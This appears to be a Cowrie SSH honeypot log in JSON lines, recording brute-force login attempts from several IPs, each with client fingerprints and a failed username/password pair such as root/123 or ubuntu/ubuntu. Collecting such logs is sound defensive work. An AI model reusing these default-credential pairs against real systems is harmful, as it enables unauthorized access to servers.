{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:19.365017Z","src_ip":"176.65.139.95","session":"6511c7a53ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:19.447713Z","src_ip":"176.65.139.95","session":"6511c7a53ba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:19.711126Z","src_ip":"176.65.139.95","session":"6511c7a53ba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:20.795586Z","src_ip":"176.65.139.95","session":"6511c7a53ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60966,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d790953662f","protocol":"ssh","message":"New connection: 80.94.92.186:60966 (159.203.135.109:22) [session: 9d790953662f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:22.525680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:22.591616Z","src_ip":"80.94.92.186","session":"9d790953662f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:22.782381Z","src_ip":"80.94.92.186","session":"9d790953662f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:23.278437Z","src_ip":"80.94.92.186","session":"9d790953662f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:24.392649Z","src_ip":"80.94.92.186","session":"9d790953662f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54718,"dst_ip":"159.203.135.109","dst_port":22,"session":"6976a9bbad8b","protocol":"ssh","message":"New connection: 176.65.139.95:54718 (159.203.135.109:22) [session: 6976a9bbad8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:25.330755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:25.335481Z","src_ip":"176.65.139.95","session":"6976a9bbad8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:25.417804Z","src_ip":"176.65.139.95","session":"6976a9bbad8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:25.709071Z","src_ip":"176.65.139.95","session":"6976a9bbad8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:26.822535Z","src_ip":"176.65.139.95","session":"6976a9bbad8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45920,"dst_ip":"159.203.135.109","dst_port":22,"session":"31b9a0dd75f4","protocol":"ssh","message":"New connection: 176.65.139.95:45920 (159.203.135.109:22) [session: 31b9a0dd75f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:31.231461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:31.236620Z","src_ip":"176.65.139.95","session":"31b9a0dd75f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:31.320200Z","src_ip":"176.65.139.95","session":"31b9a0dd75f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:31.591822Z","src_ip":"176.65.139.95","session":"31b9a0dd75f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:32.704562Z","src_ip":"176.65.139.95","session":"31b9a0dd75f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45934,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac0298f2561","protocol":"ssh","message":"New connection: 176.65.139.95:45934 (159.203.135.109:22) [session: 2ac0298f2561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:37.121023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:37.126133Z","src_ip":"176.65.139.95","session":"2ac0298f2561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:37.241846Z","src_ip":"176.65.139.95","session":"2ac0298f2561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:37.813179Z","src_ip":"176.65.139.95","session":"2ac0298f2561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:38.907896Z","src_ip":"176.65.139.95","session":"2ac0298f2561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33294,"dst_ip":"159.203.135.109","dst_port":22,"session":"285240871418","protocol":"ssh","message":"New connection: 176.65.139.95:33294 (159.203.135.109:22) [session: 285240871418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:43.181245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:43.199668Z","src_ip":"176.65.139.95","session":"285240871418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:43.387066Z","src_ip":"176.65.139.95","session":"285240871418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:43.754257Z","src_ip":"176.65.139.95","session":"285240871418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:44.864292Z","src_ip":"176.65.139.95","session":"285240871418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54876,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fda45b2b6f3","protocol":"ssh","message":"New connection: 159.203.92.129:54876 (159.203.135.109:22) [session: 6fda45b2b6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:47.663050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:47.667447Z","src_ip":"159.203.92.129","session":"6fda45b2b6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:47.672213Z","src_ip":"159.203.92.129","session":"6fda45b2b6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LILIN","password":"123","message":"login attempt [LILIN/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:47.729749Z","src_ip":"159.203.92.129","session":"6fda45b2b6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:48.739784Z","src_ip":"159.203.92.129","session":"6fda45b2b6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51714,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3a7303b85ae","protocol":"ssh","message":"New connection: 176.65.139.95:51714 (159.203.135.109:22) [session: e3a7303b85ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:49.349219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:49.353632Z","src_ip":"176.65.139.95","session":"e3a7303b85ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:49.438384Z","src_ip":"176.65.139.95","session":"e3a7303b85ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:49.689128Z","src_ip":"176.65.139.95","session":"e3a7303b85ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:50.774451Z","src_ip":"176.65.139.95","session":"e3a7303b85ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51716,"dst_ip":"159.203.135.109","dst_port":22,"session":"897897832158","protocol":"ssh","message":"New connection: 176.65.139.95:51716 (159.203.135.109:22) [session: 897897832158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:55.272345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:55.277267Z","src_ip":"176.65.139.95","session":"897897832158","protocol":"ssh"}
